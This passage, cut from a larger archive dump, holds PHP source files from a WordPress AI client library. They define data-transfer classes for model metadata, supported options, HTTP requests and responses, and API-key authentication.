        static::validateFromArrayData($array, [self::KEY_NAME, self::KEY_VALUE]);
        return new self(OptionEnum::from($array[self::KEY_NAME]), $array[self::KEY_VALUE]);
    }
}
src/Providers/Models/DTO/SupportedOption.php000064400000014011152205304550015046 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\AbstractEnum;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Models\Enums\OptionEnum;
/**
 * Represents a supported configuration option for an AI model.
 *
 * This class defines an option that a model supports, including its name
 * and the values that are valid for that option.
 *
 * @since 0.1.0
 *
 * @phpstan-type SupportedOptionArrayShape array{
 *     name: string,
 *     supportedValues?: list<mixed>
 * }
 *
 * @extends AbstractDataTransferObject<SupportedOptionArrayShape>
 */
class SupportedOption extends AbstractDataTransferObject
{
    public const KEY_NAME = 'name';
    public const KEY_SUPPORTED_VALUES = 'supportedValues';
    /**
     * @var OptionEnum The option name.
     */
    protected OptionEnum $name;
    /**
     * @var list<mixed>|null The supported values for this option.
     */
    protected ?array $supportedValues;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param OptionEnum $name The option name.
     * @param list<mixed>|null $supportedValues The supported values for this option, or null if any value is supported.
     *
     * @throws InvalidArgumentException If supportedValues is not null and not a list.
     */
    public function __construct(OptionEnum $name, ?array $supportedValues = null)
    {
        if ($supportedValues !== null && !array_is_list($supportedValues)) {
            throw new InvalidArgumentException('Supported values must be a list array.');
        }
        $this->name = $name;
        $this->supportedValues = $supportedValues;
    }
    /**
     * Gets the option name.
     *
     * @since 0.1.0
     *
     * @return OptionEnum The option name.
     */
    public function getName(): OptionEnum
    {
        return $this->name;
    }
    /**
     * Checks if a value is supported for this option.
     *
     * @since 0.1.0
     *
     * @param mixed $value The value to check.
     * @return bool True if the value is supported, false otherwise.
     */
    public function isSupportedValue($value): bool
    {
        // If supportedValues is null, any value is supported
        if ($this->supportedValues === null) {
            return \true;
        }
        // If the value is an array, consider it a set (i.e. order doesn't matter).
        if (is_array($value)) {
            $normalizedValue = self::normalizeArrayForComparison($value);
            foreach ($this->supportedValues as $supportedValue) {
                if (!is_array($supportedValue)) {
                    continue;
                }
                $normalizedSupported = self::normalizeArrayForComparison($supportedValue);
                if ($normalizedValue === $normalizedSupported) {
                    return \true;
                }
            }
            return \false;
        }
        $normalizedValue = self::normalizeValue($value);
        foreach ($this->supportedValues as $supportedValue) {
            if (self::normalizeValue($supportedValue) === $normalizedValue) {
                return \true;
            }
        }
        return \false;
    }
    /**
     * Normalizes an AbstractEnum instance to its string value.
     *
     * This ensures comparisons work correctly even after deserialization
     * (e.g. Redis/Memcached object cache), where AbstractEnum singletons
     * are reconstructed as separate instances.
     *
     * @since 1.2.1
     *
     * @param mixed $value The value to normalize.
     * @return mixed The normalized value.
     */
    private static function normalizeValue($value)
    {
        if ($value instanceof AbstractEnum) {
            return $value->value;
        }
        return $value;
    }
    /**
     * Normalizes and sorts an array for comparison.
     *
     * Maps each element through normalizeValue() and sorts the result,
     * ensuring consistent comparison regardless of element order or
     * AbstractEnum instance identity.
     *
     * @since 1.2.1
     *
     * @param array<mixed> $items The array to normalize.
     * @return array<mixed> The normalized, sorted array.
     */
    private static function normalizeArrayForComparison(array $items): array
    {
        $normalized = array_map([self::class, 'normalizeValue'], $items);
        sort($normalized);
        return $normalized;
    }
    /**
     * Gets the supported values for this option.
     *
     * @since 0.1.0
     *
     * @return list<mixed>|null The supported values, or null if any value is supported.
     */
    public function getSupportedValues(): ?array
    {
        return $this->supportedValues;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'enum' => OptionEnum::getValues(), 'description' => 'The option name.'], self::KEY_SUPPORTED_VALUES => ['type' => 'array', 'items' => ['oneOf' => [['type' => 'string'], ['type' => 'number'], ['type' => 'boolean'], ['type' => 'null'], ['type' => 'array'], ['type' => 'object']]], 'description' => 'The supported values for this option.']], 'required' => [self::KEY_NAME]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return SupportedOptionArrayShape
     */
    public function toArray(): array
    {
        $data = [self::KEY_NAME => $this->name->value];
        if ($this->supportedValues !== null) {
            /** @var list<mixed> $supportedValues */
            $supportedValues = $this->supportedValues;
            $data[self::KEY_SUPPORTED_VALUES] = $supportedValues;
        }
        return $data;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_NAME]);
        return new self(OptionEnum::from($array[self::KEY_NAME]), $array[self::KEY_SUPPORTED_VALUES] ?? null);
    }
}
src/Providers/Models/DTO/ModelMetadata.php000064400000013770152205304550014404 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Models\Enums\CapabilityEnum;
/**
 * Represents metadata about an AI model.
 *
 * This class contains information about a specific AI model, including
 * its identifier, display name, supported capabilities, and configuration options.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type SupportedOptionArrayShape from SupportedOption
 *
 * @phpstan-type ModelMetadataArrayShape array{
 *     id: string,
 *     name: string,
 *     supportedCapabilities: list<string>,
 *     supportedOptions: list<SupportedOptionArrayShape>
 * }
 *
 * @extends AbstractDataTransferObject<ModelMetadataArrayShape>
 */
class ModelMetadata extends AbstractDataTransferObject
{
    public const KEY_ID = 'id';
    public const KEY_NAME = 'name';
    public const KEY_SUPPORTED_CAPABILITIES = 'supportedCapabilities';
    public const KEY_SUPPORTED_OPTIONS = 'supportedOptions';
    /**
     * @var string The model's unique identifier.
     */
    protected string $id;
    /**
     * @var string The model's display name.
     */
    protected string $name;
    /**
     * @var list<CapabilityEnum> The model's supported capabilities.
     */
    protected array $supportedCapabilities;
    /**
     * @var list<SupportedOption> The model's supported configuration options.
     */
    protected array $supportedOptions;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param string $id The model's unique identifier.
     * @param string $name The model's display name.
     * @param list<CapabilityEnum> $supportedCapabilities The model's supported capabilities.
     * @param list<SupportedOption> $supportedOptions The model's supported configuration options.
     *
     * @throws InvalidArgumentException If arrays are not lists.
     */
    public function __construct(string $id, string $name, array $supportedCapabilities, array $supportedOptions)
    {
        if (!array_is_list($supportedCapabilities)) {
            throw new InvalidArgumentException('Supported capabilities must be a list array.');
        }
        if (!array_is_list($supportedOptions)) {
            throw new InvalidArgumentException('Supported options must be a list array.');
        }
        $this->id = $id;
        $this->name = $name;
        $this->supportedCapabilities = $supportedCapabilities;
        $this->supportedOptions = $supportedOptions;
    }
    /**
     * Gets the model's unique identifier.
     *
     * @since 0.1.0
     *
     * @return string The model ID.
     */
    public function getId(): string
    {
        return $this->id;
    }
    /**
     * Gets the model's display name.
     *
     * @since 0.1.0
     *
     * @return string The model name.
     */
    public function getName(): string
    {
        return $this->name;
    }
    /**
     * Gets the model's supported capabilities.
     *
     * @since 0.1.0
     *
     * @return list<CapabilityEnum> The supported capabilities.
     */
    public function getSupportedCapabilities(): array
    {
        return $this->supportedCapabilities;
    }
    /**
     * Gets the model's supported configuration options.
     *
     * @since 0.1.0
     *
     * @return list<SupportedOption> The supported options.
     */
    public function getSupportedOptions(): array
    {
        return $this->supportedOptions;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The model\'s unique identifier.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The model\'s display name.'], self::KEY_SUPPORTED_CAPABILITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => CapabilityEnum::getValues()], 'description' => 'The model\'s supported capabilities.'], self::KEY_SUPPORTED_OPTIONS => ['type' => 'array', 'items' => \WordPress\AiClient\Providers\Models\DTO\SupportedOption::getJsonSchema(), 'description' => 'The model\'s supported configuration options.']], 'required' => [self::KEY_ID, self::KEY_NAME, self::KEY_SUPPORTED_CAPABILITIES, self::KEY_SUPPORTED_OPTIONS]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return ModelMetadataArrayShape
     */
    public function toArray(): array
    {
        return [self::KEY_ID => $this->id, self::KEY_NAME => $this->name, self::KEY_SUPPORTED_CAPABILITIES => array_map(static fn(CapabilityEnum $capability): string => $capability->value, $this->supportedCapabilities), self::KEY_SUPPORTED_OPTIONS => array_map(static fn(\WordPress\AiClient\Providers\Models\DTO\SupportedOption $option): array => $option->toArray(), $this->supportedOptions)];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_ID, self::KEY_NAME, self::KEY_SUPPORTED_CAPABILITIES, self::KEY_SUPPORTED_OPTIONS]);
        return new self($array[self::KEY_ID], $array[self::KEY_NAME], array_map(static fn(string $capability): CapabilityEnum => CapabilityEnum::from($capability), $array[self::KEY_SUPPORTED_CAPABILITIES]), array_map(static fn(array $optionData): \WordPress\AiClient\Providers\Models\DTO\SupportedOption => \WordPress\AiClient\Providers\Models\DTO\SupportedOption::fromArray($optionData), $array[self::KEY_SUPPORTED_OPTIONS]));
    }
    /**
     * Performs a deep clone of the model metadata.
     *
     * This method ensures that supported option objects are cloned to prevent
     * modifications to the cloned metadata from affecting the original.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        $clonedOptions = [];
        foreach ($this->supportedOptions as $option) {
            $clonedOptions[] = clone $option;
        }
        $this->supportedOptions = $clonedOptions;
    }
}
src/Providers/Models/Contracts/ModelInterface.php000064400000002357152205304550016075 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\Contracts;

use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
 * Interface for AI models.
 *
 * Models represent specific AI models from providers and define
 * their capabilities, configuration, and execution methods.
 *
 * @since 0.1.0
 */
interface ModelInterface
{
    /**
     * Gets model metadata.
     *
     * @since 0.1.0
     *
     * @return ModelMetadata Model metadata.
     */
    public function metadata(): ModelMetadata;
    /**
     * Returns the metadata for the model's provider.
     *
     * @since 0.1.0
     *
     * @return ProviderMetadata The provider metadata.
     */
    public function providerMetadata(): ProviderMetadata;
    /**
     * Sets model configuration.
     *
     * @since 0.1.0
     *
     * @param ModelConfig $config Model configuration.
     * @return void
     */
    public function setConfig(ModelConfig $config): void;
    /**
     * Gets model configuration.
     *
     * @since 0.1.0
     *
     * @return ModelConfig Current model configuration.
     */
    public function getConfig(): ModelConfig;
}
src/Providers/Models/TextGeneration/Contracts/TextGenerationModelInterface.php000064400000001340152205304550023705 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\TextGeneration\Contracts;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
 * Interface for models that support text generation.
 *
 * Provides synchronous and streaming methods for generating text from prompts.
 *
 * @since 0.1.0
 */
interface TextGenerationModelInterface
{
    /**
     * Generates text from a prompt.
     *
     * @since 0.1.0
     *
     * @param list<Message> $prompt Array of messages containing the text generation prompt.
     * @return GenerativeAiResult Result containing generated text.
     */
    public function generateTextResult(array $prompt): GenerativeAiResult;
}
src/Providers/Models/TextGeneration/Contracts/TextGenerationOperationModelInterface.php000064400000001425152205304550025572 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\TextGeneration\Contracts;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Operations\DTO\GenerativeAiOperation;
/**
 * Interface for models that support asynchronous text generation operations.
 *
 * Provides methods for initiating long-running text generation tasks.
 *
 * @since 0.1.0
 */
interface TextGenerationOperationModelInterface
{
    /**
     * Creates a text generation operation.
     *
     * @since 0.1.0
     *
     * @param list<Message> $prompt Array of messages containing the text generation prompt.
     * @return GenerativeAiOperation The initiated text generation operation.
     */
    public function generateTextOperation(array $prompt): GenerativeAiOperation;
}
src/Providers/Http/DTO/Response.php000064400000013734152205304550013175 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Http\Collections\HeadersCollection;
/**
 * Represents an HTTP response.
 *
 * This class encapsulates HTTP response data that has been converted
 * from PSR-7 responses by the HTTP transporter.
 *
 * @since 0.1.0
 *
 * @phpstan-type ResponseArrayShape array{
 *     statusCode: int,
 *     headers: array<string, list<string>>,
 *     body?: string|null
 * }
 *
 * @extends AbstractDataTransferObject<ResponseArrayShape>
 */
class Response extends AbstractDataTransferObject
{
    public const KEY_STATUS_CODE = 'statusCode';
    public const KEY_HEADERS = 'headers';
    public const KEY_BODY = 'body';
    /**
     * @var int The HTTP status code.
     */
    protected int $statusCode;
    /**
     * @var HeadersCollection The response headers.
     */
    protected HeadersCollection $headers;
    /**
     * @var string|null The response body.
     */
    protected ?string $body;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param int $statusCode The HTTP status code.
     * @param array<string, string|list<string>> $headers The response headers.
     * @param string|null $body The response body.
     *
     * @throws InvalidArgumentException If the status code is invalid.
     */
    public function __construct(int $statusCode, array $headers, ?string $body = null)
    {
        if ($statusCode < 100 || $statusCode >= 600) {
            throw new InvalidArgumentException('Invalid HTTP status code: ' . $statusCode);
        }
        $this->statusCode = $statusCode;
        $this->headers = new HeadersCollection($headers);
        $this->body = $body;
    }
    /**
     * Creates a deep clone of this response.
     *
     * Clones the headers collection to ensure the cloned
     * response is independent of the original.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        // Clone headers collection
        $this->headers = clone $this->headers;
    }
    /**
     * Gets the HTTP status code.
     *
     * @since 0.1.0
     *
     * @return int The status code.
     */
    public function getStatusCode(): int
    {
        return $this->statusCode;
    }
    /**
     * Gets the response headers.
     *
     * @since 0.1.0
     *
     * @return array<string, list<string>> The headers.
     */
    public function getHeaders(): array
    {
        return $this->headers->getAll();
    }
    /**
     * Gets a specific header value.
     *
     * @since 0.1.0
     *
     * @param string $name The header name (case-insensitive).
     * @return list<string>|null The header value(s) or null if not found.
     */
    public function getHeader(string $name): ?array
    {
        return $this->headers->get($name);
    }
    /**
     * Gets header values as a comma-separated string.
     *
     * @since 0.1.0
     *
     * @param string $name The header name (case-insensitive).
     * @return string|null The header values as a comma-separated string or null if not found.
     */
    public function getHeaderAsString(string $name): ?string
    {
        return $this->headers->getAsString($name);
    }
    /**
     * Gets the response body.
     *
     * @since 0.1.0
     *
     * @return string|null The body.
     */
    public function getBody(): ?string
    {
        return $this->body;
    }
    /**
     * Checks if the response has a header.
     *
     * @since 0.1.0
     *
     * @param string $name The header name.
     * @return bool True if the header exists, false otherwise.
     */
    public function hasHeader(string $name): bool
    {
        return $this->headers->has($name);
    }
    /**
     * Checks if the response indicates success.
     *
     * @since 0.1.0
     *
     * @return bool True if status code is 2xx, false otherwise.
     */
    public function isSuccessful(): bool
    {
        return $this->statusCode >= 200 && $this->statusCode < 300;
    }
    /**
     * Gets the response data as an array.
     *
     * Attempts to decode the body as JSON. Returns null if the body
     * is empty or not valid JSON.
     *
     * @since 0.1.0
     *
     * @return array<string, mixed>|null The decoded data or null.
     */
    public function getData(): ?array
    {
        if ($this->body === null || $this->body === '') {
            return null;
        }
        $data = json_decode($this->body, \true);
        if (json_last_error() !== \JSON_ERROR_NONE) {
            return null;
        }
        /** @var array<string, mixed>|null $data */
        return is_array($data) ? $data : null;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_STATUS_CODE => ['type' => 'integer', 'minimum' => 100, 'maximum' => 599, 'description' => 'The HTTP status code.'], self::KEY_HEADERS => ['type' => 'object', 'additionalProperties' => ['type' => 'array', 'items' => ['type' => 'string']], 'description' => 'The response headers.'], self::KEY_BODY => ['type' => ['string', 'null'], 'description' => 'The response body.']], 'required' => [self::KEY_STATUS_CODE, self::KEY_HEADERS]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return ResponseArrayShape
     */
    public function toArray(): array
    {
        $data = [self::KEY_STATUS_CODE => $this->statusCode, self::KEY_HEADERS => $this->headers->getAll()];
        if ($this->body !== null) {
            $data[self::KEY_BODY] = $this->body;
        }
        return $data;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_STATUS_CODE, self::KEY_HEADERS]);
        return new self($array[self::KEY_STATUS_CODE], $array[self::KEY_HEADERS], $array[self::KEY_BODY] ?? null);
    }
}
src/Providers/Http/DTO/ApiKeyRequestAuthentication.php000064400000004517152205304550017031 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface;
/**
 * Class for HTTP request authentication using an API key.
 *
 * @since 0.1.0
 *
 * @phpstan-type ApiKeyRequestAuthenticationArrayShape array{
 *     apiKey: string
 * }
 *
 * @extends AbstractDataTransferObject<ApiKeyRequestAuthenticationArrayShape>
 */
class ApiKeyRequestAuthentication extends AbstractDataTransferObject implements RequestAuthenticationInterface
{
    public const KEY_API_KEY = 'apiKey';
    /**
     * @var string The API key used for authentication.
     */
    protected string $apiKey;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param string $apiKey The API key used for authentication.
     */
    public function __construct(string $apiKey)
    {
        $this->apiKey = $apiKey;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function authenticateRequest(\WordPress\AiClient\Providers\Http\DTO\Request $request): \WordPress\AiClient\Providers\Http\DTO\Request
    {
        // Add the API key to the request headers.
        return $request->withHeader('Authorization', 'Bearer ' . $this->apiKey);
    }
    /**
     * Gets the API key.
     *
     * @since 0.1.0
     *
     * @return string The API key.
     */
    public function getApiKey(): string
    {
        return $this->apiKey;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @since 0.1.0
     *
     * @return ApiKeyRequestAuthenticationArrayShape
     */
    public function toArray(): array
    {
        return [self::KEY_API_KEY => $this->apiKey];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_API_KEY]);
        return new self($array[self::KEY_API_KEY]);
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_API_KEY => ['type' => 'string', 'title' => 'API Key', 'description' => 'The API key used for authentication.']], 'required' => [self::KEY_API_KEY]];
    }
}
src/Providers/Http/DTO/Request.php000064400000030047152205304550013023 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\DTO;

use JsonException;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Http\Collections\HeadersCollection;
use WordPress\AiClient\Providers\Http\Enums\HttpMethodEnum;
/**
 * Represents an HTTP request.
 *
 * This class encapsulates HTTP request data that can be converted
 * to PSR-7 requests by the HTTP transporter.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type RequestOptionsArrayShape from RequestOptions
 * @phpstan-type RequestArrayShape array{
 *     method: string,
 *     uri: string,
 *     headers: array<string, list<string>>,
 *     body?: string|null,
 *     options?: RequestOptionsArrayShape
 * }
 *
 * @extends AbstractDataTransferObject<RequestArrayShape>
 */
class Request extends AbstractDataTransferObject
{
    public const KEY_METHOD = 'method';
    public const KEY_URI = 'uri';
    public const KEY_HEADERS = 'headers';
    public const KEY_BODY = 'body';
    public const KEY_OPTIONS = 'options';
    /**
     * @var HttpMethodEnum The HTTP method.
     */
    protected HttpMethodEnum $method;
    /**
     * @var string The request URI.
     */
    protected string $uri;
    /**
     * @var HeadersCollection The request headers.
     */
    protected HeadersCollection $headers;
    /**
     * @var array<string, mixed>|null The request data (for query params or form data).
     */
    protected ?array $data = null;
    /**
     * @var string|null The request body (raw string content).
     */
    protected ?string $body = null;
    /**
     * @var RequestOptions|null Request transport options.
     */
    protected ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options = null;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param HttpMethodEnum $method The HTTP method.
     * @param string $uri The request URI.
     * @param array<string, string|list<string>> $headers The request headers.
     * @param string|array<string, mixed>|null $data The request data.
     * @param RequestOptions|null $options The request transport options.
     *
     * @throws InvalidArgumentException If the URI is empty.
     */
    public function __construct(HttpMethodEnum $method, string $uri, array $headers = [], $data = null, ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options = null)
    {
        if (empty($uri)) {
            throw new InvalidArgumentException('URI cannot be empty.');
        }
        $this->method = $method;
        $this->uri = $uri;
        $this->headers = new HeadersCollection($headers);
        // Separate data and body based on type
        if (is_string($data)) {
            $this->body = $data;
        } elseif (is_array($data)) {
            $this->data = $data;
        }
        $this->options = $options;
    }
    /**
     * Creates a deep clone of this request.
     *
     * Clones the headers collection and request options to ensure
     * the cloned request is independent of the original.
     * The HTTP method enum is immutable and can be safely shared.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        // Clone headers collection
        $this->headers = clone $this->headers;
        // Clone request options if present (contains only primitives)
        if ($this->options !== null) {
            $this->options = clone $this->options;
        }
        // Note: $method is an immutable enum and can be safely shared
    }
    /**
     * Gets the HTTP method.
     *
     * @since 0.1.0
     *
     * @return HttpMethodEnum The HTTP method.
     */
    public function getMethod(): HttpMethodEnum
    {
        return $this->method;
    }
    /**
     * Gets the request URI.
     *
     * For GET requests with array data, appends the data as query parameters.
     *
     * @since 0.1.0
     *
     * @return string The URI.
     */
    public function getUri(): string
    {
        // If GET request with data, append as query parameters
        if ($this->method === HttpMethodEnum::GET() && $this->data !== null && !empty($this->data)) {
            $separator = str_contains($this->uri, '?') ? '&' : '?';
            return $this->uri . $separator . http_build_query($this->data);
        }
        return $this->uri;
    }
    /**
     * Gets the request headers.
     *
     * @since 0.1.0
     *
     * @return array<string, list<string>> The headers.
     */
    public function getHeaders(): array
    {
        return $this->headers->getAll();
    }
    /**
     * Gets a specific header value.
     *
     * @since 0.1.0
     *
     * @param string $name The header name (case-insensitive).
     * @return list<string>|null The header value(s) or null if not found.
     */
    public function getHeader(string $name): ?array
    {
        return $this->headers->get($name);
    }
    /**
     * Gets header values as a comma-separated string.
     *
     * @since 0.1.0
     *
     * @param string $name The header name (case-insensitive).
     * @return string|null The header values as a comma-separated string, or null if not found.
     */
    public function getHeaderAsString(string $name): ?string
    {
        return $this->headers->getAsString($name);
    }
    /**
     * Checks if a header exists.
     *
     * @since 0.1.0
     *
     * @param string $name The header name (case-insensitive).
     * @return bool True if the header exists, false otherwise.
     */
    public function hasHeader(string $name): bool
    {
        return $this->headers->has($name);
    }
    /**
     * Gets the request body.
     *
     * For GET requests, returns null.
     * For POST/PUT/PATCH requests:
     * - If body is set, returns it as-is
     * - If data is set and Content-Type is JSON, returns JSON-encoded data
     * - If data is set and Content-Type is form, returns URL-encoded data
     *
     * @since 0.1.0
     *
     * @return string|null The body.
     * @throws JsonException If the data cannot be encoded to JSON.
     */
    public function getBody(): ?string
    {
        // GET requests don't have a body
        if (!$this->method->hasBody()) {
            return null;
        }
        // If body is set, return it as-is
        if ($this->body !== null) {
            return $this->body;
        }
        // If data is set, encode based on content type
        if ($this->data !== null) {
            $contentType = $this->getContentType();
            // JSON encoding
            if ($contentType !== null && stripos($contentType, 'application/json') !== \false) {
                return json_encode($this->data, \JSON_THROW_ON_ERROR);
            }
            // Default to URL encoding for forms
            return http_build_query($this->data);
        }
        return null;
    }
    /**
     * Gets the Content-Type header value.
     *
     * @since 0.1.0
     *
     * @return string|null The Content-Type header value or null if not set.
     */
    private function getContentType(): ?string
    {
        $values = $this->getHeader('Content-Type');
        return $values !== null ? $values[0] : null;
    }
    /**
     * Returns a new instance with the specified header.
     *
     * @since 0.1.0
     *
     * @param string $name The header name.
     * @param string|list<string> $value The header value(s).
     * @return self A new instance with the header.
     */
    public function withHeader(string $name, $value): self
    {
        $newHeaders = $this->headers->withHeader($name, $value);
        $new = clone $this;
        $new->headers = $newHeaders;
        return $new;
    }
    /**
     * Returns a new instance with the specified data.
     *
     * @since 0.1.0
     *
     * @param string|array<string, mixed> $data The request data.
     * @return self A new instance with the data.
     */
    public function withData($data): self
    {
        $new = clone $this;
        if (is_string($data)) {
            $new->body = $data;
            $new->data = null;
        } elseif (is_array($data)) {
            $new->data = $data;
            $new->body = null;
        } else {
            $new->data = null;
            $new->body = null;
        }
        return $new;
    }
    /**
     * Gets the request data array.
     *
     * @since 0.1.0
     *
     * @return array<string, mixed>|null The request data array.
     */
    public function getData(): ?array
    {
        return $this->data;
    }
    /**
     * Gets the request options.
     *
     * @since 0.2.0
     *
     * @return RequestOptions|null Request transport options when configured.
     */
    public function getOptions(): ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions
    {
        return $this->options;
    }
    /**
     * Returns a new instance with the specified request options.
     *
     * @since 0.2.0
     *
     * @param RequestOptions|null $options The request options to apply.
     * @return self A new instance with the options.
     */
    public function withOptions(?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options): self
    {
        $new = clone $this;
        $new->options = $options;
        return $new;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_METHOD => ['type' => 'string', 'description' => 'The HTTP method.'], self::KEY_URI => ['type' => 'string', 'description' => 'The request URI.'], self::KEY_HEADERS => ['type' => 'object', 'additionalProperties' => ['type' => 'array', 'items' => ['type' => 'string']], 'description' => 'The request headers.'], self::KEY_BODY => ['type' => ['string'], 'description' => 'The request body.'], self::KEY_OPTIONS => \WordPress\AiClient\Providers\Http\DTO\RequestOptions::getJsonSchema()], 'required' => [self::KEY_METHOD, self::KEY_URI, self::KEY_HEADERS]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return RequestArrayShape
     */
    public function toArray(): array
    {
        $array = [
            self::KEY_METHOD => $this->method->value,
            self::KEY_URI => $this->getUri(),
            // Include query params if GET with data
            self::KEY_HEADERS => $this->headers->getAll(),
        ];
        // Include body if present (getBody() handles the conversion)
        $body = $this->getBody();
        if ($body !== null) {
            $array[self::KEY_BODY] = $body;
        }
        if ($this->options !== null) {
            $optionsArray = $this->options->toArray();
            if (!empty($optionsArray)) {
                $array[self::KEY_OPTIONS] = $optionsArray;
            }
        }
        return $array;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_METHOD, self::KEY_URI, self::KEY_HEADERS]);
        return new self(HttpMethodEnum::from($array[self::KEY_METHOD]), $array[self::KEY_URI], $array[self::KEY_HEADERS] ?? [], $array[self::KEY_BODY] ?? null, isset($array[self::KEY_OPTIONS]) ? \WordPress\AiClient\Providers\Http\DTO\RequestOptions::fromArray($array[self::KEY_OPTIONS]) : null);
    }
    /**
     * Creates a Request instance from a PSR-7 RequestInterface.
     *
     * @since 0.2.0
     *
     * @param RequestInterface $psrRequest The PSR-7 request to convert.
     * @return self A new Request instance.
     * @throws InvalidArgumentException If the HTTP method is not supported.
     */
    public static function fromPsrRequest(RequestInterface $psrRequest): self
    {
        $method = HttpMethodEnum::from($psrRequest->getMethod());
        $uri = (string) $psrRequest->getUri();
        // Convert PSR-7 headers to array format expected by our constructor
        /** @var array<string, list<string>> $headers */
        $headers = $psrRequest->getHeaders();
        // Get body content
        $body = $psrRequest->getBody()->getContents();
        $bodyOrData = !empty($body) ? $body : null;
        return new self($method, $uri, $headers, $bodyOrData);
    }
}
src/Providers/Http/DTO/RequestOptions.php000064400000014523152205304550014400 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
/**
 * Represents optional HTTP transport configuration for a single request.
 *
 * Provides mutable setters for working with timeouts and redirect handling.
 *
 * @since 0.2.0
 *
 * @phpstan-type RequestOptionsArrayShape array{
 *     timeout?: float|null,
 *     connectTimeout?: float|null,
 *     maxRedirects?: int|null
 * }
 *
 * @extends AbstractDataTransferObject<RequestOptionsArrayShape>
 */
class RequestOptions extends AbstractDataTransferObject
{
    public const KEY_TIMEOUT = 'timeout';
    public const KEY_CONNECT_TIMEOUT = 'connectTimeout';
    public const KEY_MAX_REDIRECTS = 'maxRedirects';
    /**
     * @var float|null Maximum duration in seconds to wait for the full response.
     */
    protected ?float $timeout = null;
    /**
     * @var float|null Maximum duration in seconds to wait for the initial connection.
     */
    protected ?float $connectTimeout = null;
    /**
     * @var int|null Maximum number of redirects to follow. 0 disables redirects, null is unspecified.
     */
    protected ?int $maxRedirects = null;
    /**
     * Sets the request timeout in seconds.
     *
     * @since 0.2.0
     *
     * @param float|null $timeout Timeout in seconds.
     * @return void
     *
     * @throws InvalidArgumentException When timeout is negative.
     */
